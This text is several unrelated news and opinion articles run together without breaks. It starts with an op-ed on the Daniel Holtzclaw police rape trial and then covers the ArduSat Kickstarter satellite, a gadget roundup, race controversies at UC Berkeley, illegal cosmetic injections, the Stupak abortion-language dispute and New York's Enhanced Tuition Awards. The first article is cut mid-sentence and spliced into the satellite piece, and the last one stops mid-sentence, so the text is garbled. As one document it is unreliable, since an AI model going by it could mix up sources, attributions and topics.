Daniel Holtzclaw should be a household name. He should be on the front page of every newspaper in the country. His criminal trial should be featured in the A-blocks of national news broadcasts. We should be able recognize him on sight. We should be able to number and name the horrendous crimes he committed. Should he ever walk the streets again, he should enjoy not a single moment of anonymity. Holtzclaw, a 28-year-old former Oklahoma City police officer, is a sexual predator who prosecutors say used his badge to rape at least 13 women over a seven-month period. The victims of his increasingly brazen pattern of attacks, prosecutors say, included an underage girl and a grandmother. Ranging in age from 17 to 57, all but one are black and all live in the same poverty-stricken, predominantly African-American neighborhood in the northeast section of the city. They were picked because they were black and poor. They were picked because the perpetrator thought nobody would give a damn. Two days after the jury began its deliberations, there was a growing unease about the potential for a not-guilty verdict. On Wednesday morning, eight men and four women filed into an Oklahoma courtroom and began their third day of deliberations. If convicted, Holtzclaw could face life in prison for 36 felony charges of rape, forcible oral sodomy, burglary, and sexual battery. [Ed: He was convicted on five counts of rape and 13 counts of sexual assault.] It is worth noting that while the city population is nearly 40 percent minority, the jury panel is all white. Some of the accusers—BuzzFeed documented their testimony on Wednesday—said the officer violated them in their own homes while wearing his department-issued uniform. One woman testified that after Holtzclaw ran her name and found an active warrant, he took her to an abandoned school where he raped her. Another said she was forced to perform sex acts on the side of the road. Another said she was sexually violated while handcuffed to a hospital bed. Investigators said they found DNA, from what some believe is an unknown 14th victim, inside the crotch of his uniform. The last accuser to testify was only 17 when, she said, Holtzclaw raped her on her mother’s porch just after dark. The officer first told her he needed to search her for drugs, she testified. He first groped her under her clothes before pushing his fingers into her vagina, she said, then he unzipped the fly of his trousers and raped her. The youngest of the accusers—some of them suspected of prostitution or drug possession, others with an active warrant—she wondered out loud: “What kind of police do you call on the police?” For too many, living on the margins and with no real voice in the system, the answer is: nobody. At 6-foot-1 and 260 pounds, the former Eastern Michigan football player used threats of violence and arrest to ensure their silence. Holtzclaw was betting on that. He was betting that, if they ever talked, we wouldn’t care. Once arrested and headed for trial, he had to be banking on at least a majority white jury. Three black men were reportedly struck from the jury panel. He didn’t go after doctors, lawyers, housewives, and schoolteachers in a white suburb, Assistant District Attorney Lori McConnell said. Holtzclaw targeted and preyed on women he thought no one would believe, women who didn’t have the power to push an investigation or to demand his arrest. “Who will believe these women, and who will care?” McConnell said was Holtzclaw’s attitude. Indeed, in the end, most were afraid to come forward, afraid no one would believe them, afraid that they themselves would be arrested. They weren’t the kind of women who make for “good victims” on the evening news or on the witness stand. Even if identified, they would be hesitant to speak out. It wasn’t until a 50-something-year-old grandmother came forward that detectives took a real interest in the case. She said Holtzclaw “snickered” and “grinned” as he forced her into oral sodomy during a traffic stop. “‘Oh, my God, he’s going to kill me,’” she testified. “That’s what I kept saying to myself.” Holtzclaw was placed on administrative leave and eventually arrested, after investigators used GPS tracking devices to corroborate the accusers’ stories. He was fired in January 2015. All too often, despite the presence of physical evidence, as a society we refuse to believe black women can be victims or survivors of sexual violence. The scales are further tipped when the assailant is wearing a badge. After all, he was an officer of the law and they were a collection of suspected prostitutes and drug addicts. The Holtzclaw defense team, which has denied the charges, is banking on the notion that an all-white jury won’t believe the accusers and that they will believe any sexual acts that took place were consensual. Invariably, over the course of the trial, the accusers were cast as liars and criminals whose testimony could not be trusted. Meanwhile, his defense attorneys described Holtzclaw as a model police officer who had been on the force for three years and was an “all-American good guy.” Curiously, the case—the allegations, the investigation, and the trial—has largely escaped widespread media coverage. The silence, save for a spate of bloggers and a handful of news stories about the trial, has been deafening. The women, the case, the horrific nature of the crimes committed by a sworn officer have been all but invisible. In too many newsrooms, a story doesn’t get real attention until a college football team threatens to walk out or thousands take to the streets in protest. Until a bridge or highway gets blocked or a hunger strike takes root in a statehouse, we’ve got other things to do. Unfortunately, we don’t take notice until somebody sets a drugstore on fire or a reporter gets arrested in a fast-food restaurant. For too many of us, the story doesn’t get real attention until we think it could happen to us—until we can see ourselves living the life of
experiments using a controllable satellite with a variety of sensors. Interestingly, the satellite is seeking funding using crowdsourcing website Kickstarter. The ArduSat is currently a 1U CubeSat form factor satellite that contains a bank of Arduino Nano boards (ATMega processors), cameras, at least 25 sensors, UHF transmitter, and a flight computer. The satellite can be controlled using magnetotorquers to push against Earth’s magnetic field. When the sun is visible, it’s powered using solar panels; other times, it uses a backup battery. The sensor suite will include temperature, vibration and shock, gyroscopic, accelerometer, GPS, pressure, magnetometer, CO2, and visible light in the base explorer package. The pioneer package further includes access to six additional sensors including electromagnetic, infrared, ozone, spectrometer, single event upset counter, and a Geiger counter. For $325, you can get your foot in the door with satellite access for three days to run experiments and collect data. NanoSatisfi will communicate with the satellite using GENSO, a worldwide network of amateur radio stations. GENSO will allow the team to talk to the satellite almost anywhere it is in orbit. Beyond the hardware of the ArduSat, you will be able to run code directly on the satellite itself. While they could use the satellite solely for data collection and run the code on the ground, such a solution has much less grandeur. NanoSatisfi wanted to give everyone the chance to program efficient code that will run on the low power hardware. The code will be uploaded to the team where they will bug test it on identical ground-based ArduSat hardware before sending it to the satellite. After the experiment has completed, the team will send the data back. ArduSat will be in Earth orbit for anywhere between six and eighteen months, depending on the orbit, before it burns up in the atmosphere upon reentry. NanoSatisfi, the start-up behind the ArduSat project is currently building the internals of the satellite and working on the software to allow you to upload your own code that will be run on the satellite. They have a goal of $35,000 on Kickstarter to finish construction of the satellite. Further, the team plans to use NASA or ESA’s ride along programs to get the ArduSat into space at an orbit between 400km and 600km at an inclination of 51 degrees. Alternatively, the satellite could be launched from the ISS and carried up on a resupply mission. If those options do not work out within 18 months, they have secured contingency funding for a commercial launch (600km polar sun-synchronous orbit). With 23 days left to go, the ArduSat has 202 backers and is at $32,332 of its 35K goal — meaning it is likely that the project will indeed be funded with money to spare. Any extra proceeds will be used to add more sensors, upgrade to more powerful Arduino boards, or to build a larger 2U — or even 3U — satellite. For reference, a 1U CubeSat satellite measures 10cm x 10cm x 10cm and weighs approximately 1kg. 2U adds 10cm to the depth and one kilogram of available weight, and so on. Interested in getting your code in space? Ever wanted to drive and take photos with your own satellite? Check out the ArduSat on Kickstarter.Artificial electric eel cells could be implanted in the human body to generate power for medical implants and other small devices. That's according to new research by American scientists, which suggests it's possible to build artificial cells replicating the electrical behaviour of electric eel cells. Not only that, the researchers claim, but the artificial cells could deliver a higher performance than the real ones – by more than 40 per cent. According to NIST engineer David LaVan and Yale University scientist Jian Xu, small, stacked layers of artificial cells could be capable of producing continuous power output of about 300 microwatts – enough to drive small implant devices. Touch-sensitive tables In other news, dining went digital in London this week, with restaurant and bar Inamo launching a new interactive service that projects colourful menus onto touch-senstive tabletops. As well as general browsing, patrons can preview the food, order interactively, change the ambience of their individual table – and even book cabs. Back to the Future Talking of futuristic, if you're in the market for a new vehicle, beware. A man who was fined in 2003 for selling "'fraudulent unregistered stock'" on the internet was been spotted selling a "flying saucer" on eBay on Tuesday. If a flying car is, indeed, what you're after, may we point you towards Terrafugia's Transition instead. Set to go on sale next year, the $194,000 vehicle is more "roadable aircraft" than car. With four wheels, Formula One–style suspension, and a pair of 10-foot-wide wings (that fold up while it's on land), it's been described as "a single-engine, rear-propeller airplane that just happens to be street-legal". Gadget therapy Here's one for everyone at work who went out last night: the iSleep concept. A soft pillow that attaches to your laptop, it fills with warm air when you close the lid, playing soothing music for 10 minutes before sounding a gentle alarm to wake you up. So simple, and yet so effective; catching a few zees under the desk could one day be a thing of the past… If you do happen to spot a colleague catching said zees (we've all done it…), it might be nice to give them a little nudge with a Mechamo Crab & Halloween Hack. A creepy crab robot with the head of a Cabbage Patch Kid doll, it should do just the trick. And finally… Trigger-happy police in Wales have been criticised for tasering a runaway sheep, it was reported earlier this week. Horrified motorists watched in disbelief as a police officer blasted the ram – which was holding up traffic – to clear the dual carriageway. The sheep was later returned (still alive) to a near-by field. The RSPCA has said it will investigate the incident.Science tells us that race is in our heads, not in our genes; it’s all a social construct. It’s an observation that seems to illuminate everything and nothing at once. It makes it sound so arbitrary and trivial—a trick of the mind. And yet history tells us that race has mattered enormously. And the news emphasizes how much it still matters today in terms of what researchers call “life outcomes”: Your chances of securing a loan, for example; or of getting a good education; or of being shot by the police. Race is a point of conflict even in the famously progressive Bay Area, as the cases that follow show. They are presented not as commentary on the state of what UC Berkekely administrators call the “campus climate,” but rather to pose questions of race, which are inevitably questions about power and privilege, but also about who gets to say what about whom, and about whether differing perspectives, informed by different experiences, can ever be resolved sensibly. Microaggressions There Oughta Be a Law Strange Fruit White Space That’s a Rap Free Speech Naming Rights The Way the Cookie Crumbles A Racist Landscape There Goes the Neighborhood Microaggressions Earlier this year, the University of California released a guide meant to help reduce or eliminate discriminatory speech by faculty. One of the documents, titled “Tool: Recognizing Microaggressions and the Messages They Send,” urges faculty to think before using such statements as “You speak English very well” and “I’m not a racist. I have several Black friends.” 76 Percentage of Berkeley students who said they were “comfortable” or “very comfortable” with the climate for diversity on campus in a 2014 poll Other “microagressions” include “America is a melting pot”; “I believe the most qualified person should get the job”; and “America is the land of opportunity.” According to the guidelines, these statements contribute to the “Myth of Meritocracy,” or the idea that “race or gender do not play a role in life successes.” The materials also clearly state that “the context of the relationship and situation is critical” when it comes to judging whether or not a statement is appropriate. Commentators on the right had a field day with the guidelines, but even the more moderate Los Angeles Times editorialized against what it called “heavy-handed sensitivity training.” “It’s troubling when any institution tries to squelch debate or discourage controversial ideas,” wrote the Times editorial board, “but it’s downright alarming when this occurs at a university—and even worse when it is the University of California, whose Berkeley campus was at the center of the Free Speech Movement in the 1960s.” Back to top There Oughta Be a Law In February, Ori Herschmann, Student Action Senator for Berkeley’s student government, sponsored a bill to stop anti-Semitism, after many students complained about an uptick in expressions of anti-Semitism on campus. For example, swastikas were drawn on the walls of the Clark Kerr Campus residence hall; “Death to Israel!” was seen painted on the sidewalk across from campus; and “Zionists should be sent to the gas chamber,” was scrawled in a campus restroom. 30 Number of classes offered by the newly founded African American Studies department at Berkeley in 1970 The ASUC Senate amended and passed Herschmann’s bill on February 23, 2015. Aptly titled A Bill Condemning Anti-Semitism, it includes the definition of anti-Semitism adopted by the State Department: “a certain perception of Jews, which may be expressed as hatred toward Jews. Rhetorical and physical manifestations of anti-Semitism are directed toward Jewish or non-Jewish individuals and/or their property, toward Jewish community institutions and religious facilities.” This wasn’t the first time that Berkeley officials have had to contend with anti-Semitic issues on campus. In 2012, the federal government began investigating charges that officials at Berkeley, in failing to stop anti-Israel protests on campus, had made the campus a dangerous place for Jewish students. In response to the investigation, campus spokesperson Dan Mogulof told the Los Angeles Times: “We completely reject any allegations that this University has failed to respond promptly and in an effective fashion any time the line that divides constitutionally protected speech from illegal activities gets crossed.” Back to top Strange Fruit Last December, as Black Lives Matter protests roiled downtown Berkeley, a cardboard cutout of a black man appeared one morning hanging from Sather Gate by a noose. On it were written the words “I Can’t Breathe”—a reference to the last utterance of Eric Garner, who died in a police chokehold. It was one of three such effigies reportedly found on campus that day. The cutouts were made from historical photos of real lynching victims and, according to an anonymous collective of “queer and POC artists” that eventually took credit for the displays, they were intended to disturb. “These images connect past events to present ones—referencing endemic fault lines of hatred and persecution that are and should be deeply unsettling to the American consciousness. … For those who think these images depict crimes and attitudes too distasteful to be seen, we respectfully disagree. Our society must never forget.” Their message was lost on many who found the performance reprehensible, no matter the subtext. Professor Rodolfo Mendoza-Denton, a social psychologist who specializes in intergroup relations, told a reporter, “It falls somewhere along the line between prank and consciously racist messaging. But it doesn’t matter. It’s absolutely thoughtless and wrong.” Pastor Michael McBride told local news outlet Berkeleyside that, whether the displays were created by “antagonists or allies,” they contributed “to the racial terror that black people have to face in the country.” Back to top White Space In January of this year, local comedian W. Kamau Bell was shooed away from the Elmwood Cafe in Berkeley by an employee who apparently mistook him for a street peddler. In fact, Bell, who is black, was talking to his white wife, her female friends, and his two children. Bell, a well-known San Francisco comic and former host of the FX series Totally Biased with W. Kamau Bell, was carrying a MacBook Air and a children’s book he had just purchased for his daughter. When the café employee saw Bell through the window, she mouthed something to the effect of “Scram!” and knocked on the glass to get his attention. When that didn’t work, she came outside and told him to leave. After she realized Bell was talking to his family, she reportedly said, “Oh, we thought you were selling something.” 2044 Year that more than half of the U.S. population will belong to a minority group, according to Census Bureau Outraged, Bell called out Elmwood Cafe on his blog. “We were bothered by the fact that we were currently standing in Berkeley, California, a city so allegedly liberal that even the most progress-y progressives make fun of it,” Bell wrote. “And yet thanks to Elmwood Cafe, it is where I as a black man was being told to ‘GIT!’ like it was 1963, Selma, Alabama, and I was crashing a meeting of The New Moms of the Confederacy.” The café owner subsequently fired the employee and arranged a community forum to discuss the incident. Panel member Nikki Jones, a Berkeley associate professor of African American Studies, discussed “white and black spaces,” and how cafés, movie theaters, and university campuses such as Berkeley’s are “white spaces.” “In these white spaces, black people have a special burden,” Jones said. “Somehow they have a provisional status position. They have to prove they belong there.” Back to top That’s a Rap In February, Berkeley students staged an antiracism sit-in to protest Mental Health and Social Conflict professor Steven Segal, who told his class that the Black Lives Matter movement needed to “stop scapegoating the cops” and that more attention need be paid to “black-on-black crime.” Segal conveyed these thoughts via his lecture and through a rap song he wrote. At the sit-in, protest organizer Erika O’Bannon ’15 told Segal: “We all experienced the emotional impact of your actions. We would not be here today if this did not really immensely impact pain on all of us.” In a video of the sit-in posted to YouTube, superimposed text says that Segal “had a captive audience because all first-year community mental health students were required to take his course” and that “many left the class crying.” Jeffrey Edleson, dean of the School of Social Welfare, sent out a schoolwide email in response to student complaints. “We understand that a faculty-student exchange in one of our classrooms today caused offense and great distress to some of our students and made the classroom environment feel unsafe,” Edleson wrote. “We deeply regret the reported incident. We appreciate the time students took to talk to faculty about the incident today.” Following the protest, a teach-in was held to voice concerns about Segal and his relation to the Black Lives Matter movement. “I hope that you don’t see all faculty as adversaries,” Edleson told students, “but that you see us as potential partners and champions in change.” Segal’s students were offered an alternate class with a different professor. Back to top Free Speech In March 2012, the Black Student Union at Berkeley asked Louis Farrakhan, leader of the Nation of Islam, to speak at the ninth annual Afrikan Black Coalition Conference. Farrakhan has long been known for his controversial statements. “The God who taught me calls the white man the skunk of the planet Earth,” he once said. He has also stated that Jews are “sucking the blood of the black community.” 1955 Year statistician David Blackwell joined the Berkeley faculty to become the first tenured African-American professor in the UC system Many students opposed Farrakhan’s appearance, and student leaders penned an op-ed in The Daily Californian registering their displeasure. “Farrakhan is undoubtedly a powerful speaker for the black community,” they wrote. “But it is unacceptable to support an empowering speech for one community at the expense of countless others.” Despite the outcry, then–UC President Mark Yudof defended Farrakhan on First Amendment grounds. “We cannot as a society allow what we regard as vile speech to lead us to abandon the cherished value of free speech,” he wrote in an open letter. At the event, Farrakhan delivered a speech riddled with racist comments. He mimicked Asian people with a faux-Chinese accent and made anti-Semitic comments. “Why don’t you teach the Jews that the first wonder of this world was not something that Jewish people built when they were enslaved in Egypt?” he said. Farrakhan nevertheless received a standing ovation from the nearly 700 people in attendance. Back to top Naming Rights In March, Berkeley’s Black Student Union issued a list of demands to campus administrators. One was that Barrows Hall, named after former UC President David Prescott Barrows, be renamed after Assata Shakur, a Black Panther member convicted of killing a New Jersey State Trooper. Shakur did jail time until Black Liberation Army members broke her out of prison in 1979. She resurfaced five years later in Cuba. In 2013, she was placed on the FBI’s Most Wanted Terrorists list. 8 Percentage of Berkeley faculty from “under-represented” groups, i.e., African American, Chicano/Latino, and Native American/Alaska Native According to the BSU’s communiqué, Shakur “is an icon of resistance within oppressed communities, and represents Black resilience in the face of unadulterated state-sanctioned violence.” Furthermore, they say that David Barrows was an “imperialist by way of anthropology, and participated in perpetuating American colonialism” and “the subsequent destruction of cultures in the Philippines, and several regions in Africa.” In Race Consciousness: Reinterpretations for the New Century, Judith Jackson Fossett argues that Barrows did indeed contribute to colonization efforts in the Philippines. At the same time, she acknowledges, he also campaigned for practical and literary education to liberate enslaved peasants there. LeConte Hall has also fallen under scrutiny. It is named after the brothers John and Joseph LeConte, famed Berkeley professors and confirmed rebels who helped manufacture munitions for the Confederate Army during the Civil War. With the recent national debate over the symbolism of the Confederate flag, it stands to reason that the LeContes’ legacy might be revisited. No indication has been given that the names of the buildings will be changed. Back to top The Way the Cookie Crumbles In 2011, the Berkeley College Republicans announced plans to hold an Increase Diversity Bake Sale, a satirical event held in opposition to California Senate Bill 185, which would allow CSU and UC schools to consider nonacademic factors such as race, economic status, and gender when selecting students for admission. 17 Percentage of Berkeley freshmen who are first-generation college students The BCR posted the event to their Facebook page: “Just like the CA Senate Bills 185 and 387,” the post said. “We will be considering RACE, GENDER, ETHNICITY, NATIONAL/GEOGRAPHIC ORIGIN and other relevant factors to ensure the EQUITABLE distribution of BAKED GOODS to our DIVERSE! student body.” The post listed bake-sale prices, which were highest for White/Caucasians at $2.00, then Asian/Asian Americans at $1.50, Latino/Hispanics at $1.00, Black/African Americans at $0.75, and Native Americans at $0.25. Women got $0.25 off any purchase. “We feel that discriminating against people based on their skin color for baked goods is discriminatory in the same way that judging people on the color of their skin for admissions process is discriminatory,” said BCR president Shawn Lewis in a television interview with CNN. The University was in an uproar over the stunt. The event was held on Sproul Plaza, yards from where the Associated Students of the University of California hosted a phone bank to support SB 185. In response to the bake sale, many students lay down on the grounds of the plaza in silent protest. In the end, Governor Jerry Brown vetoed SB 185—on the basis that it conflicted with California Proposition 209, which prohibits state governmental institutions from considering ethnicity, race, or sex when it comes to admissions, employment, and so on. “Signing this bill is unlikely to impact how Proposition 209 is ultimately interpreted by the courts,” Brown said in a veto message he sent to the California Senate. “It will just encourage the 209 advocates to file more costly and confusing lawsuits.” Back to top A Racist Landscape Last year, Berkeley’s Chicano/Latina Architectural Student Association (CASA) received a vicious email response to an inquiry sent to downtown Berkeley’s Sachi Landscaping asking for a tour of its facilities. “Are you joking?” the response began. “Go ask a Latino based org. I am not interested in assisting anyone from a Latino based org. Its [sic] racist to even ask, and frankly my business has [been] ruined by fucking illegal immigrants,” the email ranted. “Are we clear! Don’t ever email this address again. If there weren’t so many damn illegal immigrants in this state, I would have work for myself. Now piss off!” The email was signed by someone named “Sachi Well.” 1881 Year Alexander Dumas Jones became the first African-American student to enroll at Berkeley CASA president Vanessa Hernandez ’15 posted the email to social media, which got the attention of Lalo Alcaraz, M.Arch. ’92, a CASA alumnus. Alcaraz then posted the email to the Sachi Facebook page, demanding to know if the landscaping firm was responsible for the email. “hi mr. alcaraz,” someone wrote in response, “this gmail acct was accessed without our authorization after using a public computer and some logout problems. sorry for any confusion we are in the process of securing our acct. thank [you].” Following a deluge of negative Yelp reviews, Sachi’s Facebook page was quickly deleted, their website taken down, and their phone disconnected. Back to top There Goes the Neighborhood Last October, a video was released and went viral, showing some Dropbox employees and a group of local Latino and black youths getting into a kerfuffle over who could use the Mission Playground soccer field. The Dropbox employees showed the locals the $27 permit they’d purchased to reserve the field for an hour. Despite the paper proof, the locals wouldn’t budge. “Just because you’ve got the money to book the field doesn’t mean you could book it for an hour,” one of them said. “I’ve been born and raised here for my 20 years, and my whole life you could just play here.” The community responded to the incident with a rally outside City Hall prior to a Recreation and Park Commission meeting, and the youths spoke out about how gentrification of the Mission is negatively affecting the kids who live and play there, especially since they can’t afford to buy field time. In response, Parks Department general manager Phil Ginsburg announced that permits for adult play will no longer be sold at Mission Playground soccer field, but youth teams will still be able to reserve the field after school until 7 p.m. on weekdays. The decision may slow the tide of change somewhat. In a report entitled “Mapping Susceptibility to Gentrification: The Early Warning Toolkit,” Karen Chapple, faculty director for the Center for Community Innovation at Berkeley, says that public recreational facilities deter gentrification. According to Chapple, more research is needed to understand why, but she speculates that “it may be because they draw heavy traffic from more disadvantaged groups.” Back to topWhy. Why? Why would anyone think it was cool to get butt injections—which are illegal and typically happen in motel rooms, as many illegal things do—after seeing the pictures of that transexual lady who was arrested last year for performing the procedure on women and fucking up not just their butts but their entire bodies with infections and all kinds of shit. Even if you are stupid enough to not care if needles are clean or if it's dangerous to let some random person stick one into your body, filling it with who-knows-what, wouldn't you at least be vain enough to care that the results look scary and horrible? Apparently, not everyone is deterred by veritable PSAs of illegal cosmetic procedure horror stories. More and more African-American women are seeking the black-market enhancements, according to the Daily Beast, risking infection, gross deformities, and even death. Image via Anna Kucherova/Shutterstock Illegal Butt Injections Are on the Rise and Women Are at Risk [Daily Beast]Several members of the Congressional Pro-Choice Caucus emerged–very unhappy–from a meeting with House Speaker Nancy Pelosi late Friday evening. The meeting lasted about half an hour, and most attendees were extremely tight-lipped when they left. But the gist is this: Pelosi is still trying to figure out how to assuage pro-life Democrats, who want the health care bill to contain tighter restrictions on funding abortions, and pro-choice members do not like the options before them. Pelosi is weighing her option with respect to the remaining pro-life holdouts–led by Rep. Bart Stupak (D-MI)–who are threatening to oppose the health care bill over its abortion language. One of the options floated a few weeks ago would’ve given Stupak et al a vote on a stand-alone piece of abortion legislation.But that’s not enough for Stupak–who knows as well as anybody that the Senate can’t round up 60 votes for any abortion legislation, pro or anti. He’s been pushing for a vote on something different, and much more obscure: what’s known as an enrollment corrections bill. The details are complicated, but basically, it’s a rarely used procedural technique that would allow the House and Senate to amend the Senate bill after it’s passed both houses, but before it’s signed into law. Stupak says it only requires 51 votes in the Senate. He also implied that passage of health care reform could be made contingent on the adoption of new, stricter abortion language. Pelosi’s gambit may be to give Stupak his vote to get him on board, all the while knowing it won’t pass the House or the Senate. But that’s a risk pro-choice members aren’t prepared to see their leadership take. No decisions have been made, but pro-choice Rep. Diana DeGette (D-CO) still insists that there are more than enough pro-choice members opposed to Stupak’s abortion language to kill the bill if Stupak gets his way–and that, she says, will be Stupak’s cross to bear. Earlier this week, he signaled to The Hill that he didn’t really want to kill the bill. “You know, maybe for me that’s the best: I stay true to my principles and beliefs,” he said, “vote no on this bill and then it passes anyways. Maybe for me is the best thing to do.” But he didn’t relent. It’s unclear how many pro-life votes Stupak controls, but seemingly enough that Pelosi isn’t willing to flick him aside.About one in three eligible private colleges and universities in New York have opted in to a new state student aid program passed this spring alongside the state’s more widely publicized free public college tuition program. College leaders expressed significant reservations about the program for students at private institutions, which is called the Enhanced Tuition Award program and is seen by some as an imperfect concession to private colleges facing sudden pressure from the state’s new free public college program. Private colleges opting out of the Enhanced Tuition Awards have been criticizing residency and work restrictions for students, which linger for years after graduation. Many are also pushing back against the financial structure of the awards, which require participating colleges and universities to match funding provided by the state. The new program is drawing flak for requiring colleges to freeze tuition for award recipients at the level of the first year they receive Enhanced Tuition Award funding. Some are unhappy with what they see as a rushed start months after most colleges finalized the financial aid packages for incoming students. Even so, about a third of nearly 100 eligible private institutions opted in to the program. Administrators at those institutions say they were attracted to a new source of financial aid dollars and to the possibility of making college more affordable for students. Some of those opting out have left open the possibility of joining the program in future years. The impact of the Enhanced Tuition Awards on the state’s higher education market is unclear. Many are skeptical it has enough funding or name recognition to give participating colleges and universities a competitive advantage. Even those who are taking part say they aren’t sure what to expect -- and many have limited their participation to a relatively small number of students or financial aid dollars. Program Restrictions The Enhanced Tuition Awards program carries many of the same restrictions as the state’s new -- and more widely discussed -- free public college tuition program, which is called the Excelsior Scholarship. Like the Excelsior Scholarship, the Enhanced Tuition Awards are being phased in over three years for students who are New York state residents. In its first year, students from families with adjusted gross household incomes of up to $100,000 per year will be eligible. The income cutoff will rise to $110,000 in 2018 before rising again to its ultimate level of $125,000 in 2019. Also like the Excelsior Scholarship, Enhanced Tuition Awards come with work and residency requirements for students. Recipients of Enhanced Tuition Awards will generally be required to live and work in New York after graduation for the same number of years as they received Enhanced Tuition Awards. So if, for example, a student receives an award for three years, they will have to live and work in the state for three years after graduation. Moving out early would result in the student’s past awards converting to loans. Both the Excelsior Scholarship and Enhanced Tuition Award also require most students to complete 30 credits in a year to remain eligible. But some key differences exist between the two programs. Enhanced Tuition Awards don’t guarantee a student free tuition. They allow recipients to receive up to $6,000 through a combination of funding from New York’s existing Tuition Assistance Program, a new state award and a financial aid match from their private college. For those in the program, that could mean thousands more in aid per year, plus the benefit of not facing tuition increases that could add up to thousands over four years. The state gives the example of a student who receives $1,000 from the existing TAP program. They would receive another $5,000 if awarded an Enhanced Tuition Award -- half from the new state program and half from their college. Funding levels for the programs are also substantially different. New York allocated $19 million to fund Enhanced Tuition Awards for students at private colleges and universities in the program’s first year. It budgeted $163 million for the Excelsior Scholarship’s first year. If the state receives more applications for Enhanced Tuition Awards than it has funding available, recipients could be chosen by lottery. State officials have also said students who are already attending college will receive priority over first-year students. The state listed 30 private colleges and universities as opting in to the Enhanced Tuition Awards program. The state deemed a total of 96 institutions eligible. Those opting in don’t fit any one profile -- they range from the large, well-endowed Cornell University to religiously affiliated institutions like Yeshiva University to small institutions like Wells College and to institutions still accepting applications for the fall, like Niagara University. Reasons for Opting Out Those opting out of the program listed several financial and logistical reasons for doing so. Chief among them was the requirement that institutions match government awards. That can be a significant financial burden for small private colleges, many of which run on tight budgets. “From an industry standpoint, the government is asking us to raise $20 million every year,” said Kenneth M. Macur, president of Medaille College in Buffalo, who was rounding up on the $19 million the state allocated for the program’s first year. “Take $20 million of our donor money.” Medaille is not taking part in the Enhanced Tuition Awards program. Many have discussed the program as a way to keep the Excelsior Scholarship and its promise of free tuition at public institutions from destroying New York’s many private colleges and universities, Macur said. But he pointed out that very few private college students will be receiving the awards, given the program’s eligibility requirements and limited public funding. Private colleges already offer large sums of financial aid, discounting their tuition deeply to be competitive, Macur said. They generally also have higher four-year graduation rates than public colleges, so he believes they can compete based on value. Additionally, the Enhanced Tuition Awards will go out so late that they aren’t likely to be a factor in students deciding where to attend college this year, Macur said. The state had not yet posted applications for students to fill out as of Wednesday. Students will have 45 days to fill out applications, meaning awards will be made very close to the start of the fall semester. Still, it’s not clear how students will view colleges that opt out of the Enhanced Tuition Awards against those that opt in. Medaille will keep an eye on enrollment trends to make sure students aren’t choosing to attend other private institutions based on whether they have opted in to the new program. Other colleges and universities have pointed to the program’s credit and residency requirements as reasons for opting out. A Fordham University spokesman called restrictions placed on students “onerous and unrealistic” in an emailed statement. “One gets the impression that the regulations' authors did not have a clear understanding of just how vulnerable these students are, and how crushing the regulations could be for them if family emergencies forced them to alter their plans,” said Bob Howe, assistant vice president for communications and special adviser to the president at Fordham. Skidmore College, to the north of Albany, did not want to limit students’ options for moving and working after graduation. “Particularly in today’s job market and professional world, opportunities are everywhere,” said Philip A. Glotzbach, Skidmore’s president. “We would like to have our students take advantage of those opportunities.” It should be noted, however, that many of New York's less famous private colleges enroll students primarily from within the state, many of whom don't plan to move after graduation. Some institutions simply could not sign up given the timing of the program’s rollout, according to Mary Beth Labate, the president of the Commission on Independent Colleges and Universities in New York. “This is really a pilot to see if a program like this can work for students and for colleges and universities,” she said in a statement. “We look forward to continuing conversations with policy makers about making higher education even more accessible across the state’s diverse higher education landscape.” Why Opt In? But many of those opting in to the program said they felt it was important to give students a chance at additional funding. Cornell University is participating in the program, which it says makes it the only major research university in the state taking part. “What we’re trying to do is provide as many options as we can to make Cornell an affordable, accessible education for all qualified students,” said Barbara Knuth, senior vice provost and dean of the Graduate School at Cornell. “I don’t think the motivator was comparing Cornell with other institutions that might choose to opt in to ETA, quite frankly. I think the comparison or analysis was that we’re trying to provide as many options as we can to our families.” Cornell estimated that 650 of its currently enrolled students would be eligible for the Enhanced Tuition Awards. If all of those students were to receive awards -- no sure thing, considering they would have to apply and be selected -- the university calculated that opting in to the program could cost it up to $1.2 million per year in additional institutional grant aid, after factoring in TAP funding and new money from the state. (Cornell also operates three undergraduate contract colleges with students that are eligible for the Excelsior Scholarship free public tuition program.) That’s not a small number, but it’s not overwhelming when considered in the context of the university’s overall institutional aid budget. Cornell will be providing all students with an estimated $239 million in grant aid next year. The university will have to deal with other logistical factors, however. The Enhanced Tuition Awards program requires institutions to freeze tuition for awards recipients from year to year. Regulations require colleges and universities to continue to freeze tuition and provide matching funds to award recipients even if the institutions have opted out of the program for new students. That likely means a multiyear commitment from participating institutions. It also means more administrative work as colleges and universities deal with different tuition levels for different groups of students. “It is more work for our staff,” Knuth said. “The bottom-line implication on staffing is we will likely need to deploy additional staff resources.” The scope of additional resources required remains to be seen, she said. Other institutions are struggling to qualify exactly how much more work will be required. A spokesman for St. John’s University, which has opted in to the program, could not estimate a dollar amount that the university will have to spend. All he could say was that the program’s award-matching requirement and tuition freeze will require significant internal resources. Still, the university’s president, Conrado Gempesaw, released a statement saying St. John’s felt it was important to pursue the newly available program. “St. John’s University is investing significant resources in the ETA program in an effort to further bridge the financial divide that often exists between students and their dreams of earning a college degree,” Gempesaw said. Cornell and St. John’s did not limit their participation in the new program. But some institutions did, saying they would only accept a certain number of students or commit to a certain dollar amount. For instance, back in Buffalo, Canisius College President John J. Hurley has said the college will likely limit Enhanced Tuition Awards to fewer than 100 students. Hurley told The Buffalo News that the program was poorly implemented and conceptualized, and that it was not helpful for students who received financial aid offers in February. The College of Saint Rose in Albany decided to take part in the program but capped its financial match at a total of $500,000, according to the Albany Business Review. The college said that as many as 900 current and incoming students could meet the award’s criteria but that it couldn’t accurately estimate how many would be eligible given the many variables involved. The college sees its decision as a way to balance good financial stewardship against the need to make its education affordable. “Our historic commitment to college accessibility and affordability was too compelling to decline to participate in a program that provides additional financial aid,” said the college’s president, Carolyn J. Stefanco, in a statement. “We could not overlook the return on investment for our students.” A spokeswoman in Governor Andrew Cuomo’s office said
